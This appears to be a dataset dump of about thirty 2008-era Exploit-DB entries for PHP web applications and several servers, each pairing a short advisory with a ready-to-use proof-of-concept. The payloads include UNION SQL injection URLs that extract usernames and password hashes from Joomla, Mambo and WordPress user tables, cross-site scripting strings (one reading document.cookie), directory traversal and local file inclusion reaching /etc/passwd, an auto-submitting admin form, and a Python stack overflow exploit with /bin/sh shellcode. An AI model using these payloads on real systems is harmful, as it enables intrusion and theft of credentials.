QLWD/code_shield huggingface dataset:
标题: Facile Forms 1.x - 'catid' SQL Injection EDB-ID: 31242 CVE: 2008-0855 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27880/info

Facile Forms is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_facileforms&Itemid=640&user_id=107&catid=-9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31242
标题: Jinzora 2.7.5 - 'ajax_request.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31236 CVE: 2008-0877 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27876/info
 
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
 
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/ajax_request.php?language=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)"> URL: https://www.exploit-db.com/exploits/31236
标题: Jinzora 2.7.5 - 'slim.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31237 CVE: 2008-0877 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27876/info
  
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
  
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/slim.php?jz_path=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)"> URL: https://www.exploit-db.com/exploits/31237
标题: WebcamXP 3.72.440/4.05.280 Beta - '/show_gallery_pic?id' Arbitrary Memory Disclosure EDB-ID: 31234 CVE: 2008-5674 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27875/info
 
webcamXP is prone to multiple information-disclosure and denial-of-service vulnerabilities because it fails to check user-supplied input data.
 
Attackers can exploit these issues to access potentially sensitive information or crash the application. Successful exploits could aid in further attacks or deny service to legitimate users.
 
These issues affect webcamXP 3.72.440 and 4.05.280 beta and prior versions.

http://www.example.com:8080/show_gallery_pic?id=999999 URL: https://www.exploit-db.com/exploits/31234
标题: Google Hack Honeypot File Upload Manager 1.3 - 'delall' Unauthorized File Access EDB-ID: 31239 CVE: 2008-5283 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27877/info

Google Hack Honeypot File Upload Manager is prone to an unauthorized file-access vulnerability. This issue occurs because the application fails to validate users before processing a certain HTTP request.

Attackers can exploit this issue to delete all files that have been uploaded to the application.

File Upload Manager 1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/index.php?act=delall URL: https://www.exploit-db.com/exploits/31239
标题: Jinzora 2.7.5 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31235 CVE: 2008-0877 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27876/info

Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.

Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/index.php?frontend=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)">
http://www.example.com/[installdir]/index.php/"><script>alert(&#039;DSecRG XSS&#039;)</script> URL: https://www.exploit-db.com/exploits/31235
标题: Foxit WAC Remote Access Server 2.0 Build 3503 - Heap Buffer Overflow EDB-ID: 31232 CVE: 2008-7031 类型: DOS 平台: MULTIPLE 发布日期: 2008-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27873/info

Foxit WAC Remote Access Server is prone to a heap-based buffer-overflow vulnerability.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will likely cause denial-of-service conditions.

This issue affects WAC Server 2.0 Build 3503 and prior versions. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31232.zip URL: https://www.exploit-db.com/exploits/31232
标题: WordPress Plugin wp-people 2.0 - 'wp-people-popup.php' SQL Injection EDB-ID: 31230 CVE: 2008-0845 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27858/info

The WordPress 'wp-people' plugin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/wp-people/wp-people-popup.php?person=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cuser_pass%2Cuser_login%2C3%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users URL: https://www.exploit-db.com/exploits/31230
标题: SIMM-Comm SCI Photo Chat 3.4.9 - Directory Traversal EDB-ID: 31231 CVE: 2008-1169 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27872/info

SCI Photo Chat is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.

Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.

This issue affects SCI Photo Chat 3.4.9 and prior versions. 

GET /docs/..\..\..\..\..\boot.ini HTTP/1.0
GET /docs/../../../../../boot.ini HTTP/1.0 URL: https://www.exploit-db.com/exploits/31231
标题: Jinzora 2.7.5 - 'popup.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31238 CVE: 2008-0877 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27876/info
   
Jinzora is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, and launch other attacks.
   
Jinzora 2.7.5 is vulnerable; other versions may also be affected. 

http://www.example.com/[installdir]/popup.php?ptype=sitenew&siteNewsData = &lt;/textarea&gt;<script>alert(&#039;DSecRG XSS&#039;)</script>
http://www.example.com/[installdir]/popup.php?ptype=playlistedit&query = <script>alert(&#039;DSecRG XSS&#039;)</script>
http://www.example.com/[installdir]/popup.php?theme=<IMG SRC="javascript:alert(&#039;DSecRG XSS&#039;)"> URL: https://www.exploit-db.com/exploits/31238
标题: SmarterTools SmarterMail 4.3 - 'Subject' HTML Injection EDB-ID: 31240 CVE: 2008-0872 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27878/info

SmarterMail is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

SmarterMail Enterprise 4.3 is vulnerable; other versions may also be affected. 

<XSS STYLE="xss:expression(alert(&#039;1&#039;))"><XSS 
STYLE="xss:expression(alert(&#039;2&#039;))"> URL: https://www.exploit-db.com/exploits/31240
标题: Yellow Swordfish Simple Forum 1.x - 'sf-profile.php' SQL Injection EDB-ID: 31227 CVE: 2008-7040 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27854/info

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/simple-forum/ahah/sf-profile.php?u=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C4%2Cconcat(0x7c,user_login,0x7c,user_pass,0x7c)%2C6%2C7%2C8%2C0x7c%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users URL: https://www.exploit-db.com/exploits/31227
标题: WebcamXP 3.72.440/4.05.280 Beta - '/pocketpc?camnum' Arbitrary Memory Disclosure EDB-ID: 31233 CVE: 2008-5674 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27875/info

webcamXP is prone to multiple information-disclosure and denial-of-service vulnerabilities because it fails to check user-supplied input data.

Attackers can exploit these issues to access potentially sensitive information or crash the application. Successful exploits could aid in further attacks or deny service to legitimate users.

These issues affect webcamXP 3.72.440 and 4.05.280 beta and prior versions.

http://www.example.com:8080/pocketpc?camnum=999999&mode=0
http://www.example.com:8080/pocketpc?camnum=-999999&mode=0 URL: https://www.exploit-db.com/exploits/31233
标题: Joomla! / Mambo Component com_detail - 'id' SQL Injection EDB-ID: 31226 CVE: 2008-0853 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27853/info

The Joomla! and Mambo 'com_detail' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_detail&Itemid=s@bun&id=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C0x3a%2Cpassword%2Cusername%2F%2A%2A%2Ffrom%2F%2A%2A%2Fmos_users%20%2F%2A%2A URL: https://www.exploit-db.com/exploits/31226
标题: ProjectPier 0.8 - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities EDB-ID: 31229 CVE: 2008-5584 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27857/info

ProjectPier is prone to multiple HTML-injection and cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ProjectPier 0.8.0 is vulnerable; prior versions may also be affected.

http://www.example.com/projectpier/index.php?c=access"><script>alert('xss')</script>&a=login"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/31229
标题: Joomla! / Mambo Component Filebase - 'filecatid' SQL Injection EDB-ID: 31215 CVE: 2008-0817 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27829/info

The Joomla! and Mambo 'com_filebase' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_filebase&Itemid=S@BUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(u
sername,0x3a,password)/**/from/**/mos_users/* URL: https://www.exploit-db.com/exploits/31215
标题: Joomla! / Mambo Component com_profile - 'oid' SQL Injection EDB-ID: 31224 CVE: 2008-0846 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/27851/info

The Joomla! and Mambo 'com_profile' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_profile&Itemid=s@bun&task=&task=viewoffer&oid=9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31224
标题: freeSSHd 1.2 - 'SSH2_MSG_NEWKEYS' Remote Denial of Service EDB-ID: 31218 CVE: 2008-0852 类型: DOS 平台: LINUX 发布日期: 2008-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/27845/info

freeSSHd is prone to a remote denial-of-service vulnerability because it fails to handle exceptional conditions.

Successfully exploiting this issue allows remote attackers to crash the affected application, denying service to legitimate users.

This issue affects freeSSHd 1.2.0 and prior versions.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/31218.zip URL: https://www.exploit-db.com/exploits/31218
标题: Joomla! / Mambo Component com_salesrep - 'rid' SQL Injection EDB-ID: 31213 CVE: 2008-0854 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27827/info

The Joomla! and Mambo 'com_salesrep' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_salesrep&action=showrep&Itemid=S@BUN&rid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,
0x3a/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31213
标题: MP3Info 0.8.5a - Buffer Overflow EDB-ID: 31220 CVE: 2006-2465 类型: DOS 平台: LINUX 发布日期: 2014-01-27 漏洞利用脚本: # Waste of CPU clock N2
# Exploit for: mp3info! Latest version
# Author: jsacco - jsacco@exploitpack.com
# Vendor: http://ibiblio.org/mp3info/
# No-one-cares-about programs!

junk = "\x90\x90\x90\x90"*8 
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
buffer = "\x90\x90\x90\x90"*89
eip = "\x10\xf0\xff\xbf"

print "# MP3info is prone to a Stack-BoF"
print "# Wasting CPU clocks on unusable exploits"
print "# This is exploit is for educational purposes"

try:
    subprocess.call(["mp3info", junk+shellcode+buffer+eip])
except OSError as e:
    if e.errno == os.errno.ENOENT:
     print "MP3Info not found!"
    else:
    print "Error executing exploit" 
    raise URL: https://www.exploit-db.com/exploits/31220
标题: BanPro Dms 1.0 - 'index.php' Local File Inclusion EDB-ID: 31217 CVE: 2008-0812 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/27831/info

BanPro DMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local files in the context of the webserver process. This may allow the attacker to obtain potentially sensitive information; other attacks are also possible.

This issue affects BanPro DMS 1.0; other versions may also be vulnerable.

http://www.example.com/DMS/index.php?action=../../../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/31217
标题: Joomla! / Mambo Component com_scheduling - 'id' SQL Injection EDB-ID: 31216 CVE: 2008-0810 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27830/info

The Joomla! and Mambo 'com_scheduling' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/index.php?option=com_scheduling&Itemid=28&action=viewAbstract&id=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),concat(username,0x3a,password),4,5,
6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/from/**/mos_users/* URL: https://www.exploit-db.com/exploits/31216
标题: RunCMS 1.6.1 - 'admin.php' Cross-Site Scripting EDB-ID: 31225 CVE: 2008-7222 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/27852/info

RunCMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

RunCMS 1.6.1 is vulnerable; other versions may also be affected. 

<html><head></head><body onLoad="javascript:document.r.submit()">
<form action="http://localhost/xampp/runcms/modules/system/admin.php"
method="post" enctype="multipart/form-data" name="r">
<input type="text" class="text" name="rank_title" size="30" maxlength="50"
value="<marquee>Cross-Site Scritping :-("/>
<input type="hidden" name="fct" value="userrank">
<input type="hidden" name="op" value="RankForumAdd">
</form>
</body> URL: https://www.exploit-db.com/exploits/31225
标题: Joomla! / Mambo Component com_sg - 'pid' SQL Injection EDB-ID: 31208 CVE: 2008-0816 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27821/info

The Joomla! and Mambo 'com_sg' component is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/index.php?option=com_sg&Itemid=16&task=order&range=3&category=3&pid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,10,11,0x3a,0x3a,14,15,16/**/from/**/jos_users/* URL: https://www.exploit-db.com/exploits/31208
标题: Sophos Email Appliance 2.1 - Web Interface Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 31204 CVE: 2008-0838 类型: REMOTE 平台: WINDOWS 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27813/info

Sophos Email Appliance is prone to multiple cross-site scripting vulnerabilities that affect its web interface because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Please note that potential exploits will likely target privileged users.

These issues affect versions prior to Sophos Email Appliance 2.1.1.0. 

https://www.example.com:18080/Login?logout=0&error=<INJECTION>&go=<INJECTION> URL: https://www.exploit-db.com/exploits/31204
标题: Dokeos 1.8.4 - '/main/admin/session_list.php?cmessage' Cross-Site Scripting EDB-ID: 31198 CVE: 2008-0851 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
    
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
    
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
    
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/dokeos/main/admin/session_list.php?action=show_message&message=>%22%27><img/src=javascript:alert('DSecRGXSS')> URL: https://www.exploit-db.com/exploits/31198
标题: Sami FTP Server 2.0.x - Multiple Commands Remote Denial of Service Vulnerabilities EDB-ID: 31205 CVE: 2008-5105 类型: DOS 平台: WINDOWS 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27817/info

Sami FTP Server is prone to multiple remote denial-of-service vulnerabilities because the application fails to handle exceptional conditions.

An attacker can exploit these issues to crash the affected application, denying service to legitimate users.

Versions in the Sami FTP Server 2.0 series are vulnerable; other versions may also be affected. 

An attacker can use standard FTP clients or network utilities to exploit these issues.

Issuing one of the affected commands followed by 'AA' will trigger a denial of service. URL: https://www.exploit-db.com/exploits/31205
标题: Dokeos 1.8.4 - '/main/calendar/myagenda.php?courseCode' Cross-Site Scripting EDB-ID: 31196 CVE: 2008-0851 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
  
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
  
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/main/calendar/myagenda.php?courseCode="><script>alert('DSecRG XSS')</script> URL: https://www.exploit-db.com/exploits/31196
标题: Dokeos 1.8.4 - '/main/mySpace/index.php?tracking_list_coaches_column' SQL Injection EDB-ID: 31199 CVE: 2008-0850 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/27792/info
     
Dokeos is prone to multiple input-validation vulnerabilities including five SQL-injection issues, one HTML-injection issue, three cross-site scripting issues, and one arbitrary-file-upload issue.
     
Attackers can exploit these issues to execute arbitrary script code in the context of the webserver, compromise the application, steal cookie-based authentication credentials from legitimate users of the site, modify the way the site is rendered, access or modify data, or exploit latent vulnerabilities in the underlying database.
     
Versions prior to Dokeos 1.8.4 SP2 are affected. 

http://www.example.com/[installdir]/main/mySpace/index.php?tracking_list_coaches_direction=ASC&tracking_list_coaches_page_nr=1&tracking_list_coaches_per_page=20&view=admin&tracking_list_coaches_column=0'; URL: https://www.exploit-db.com/exploits/31199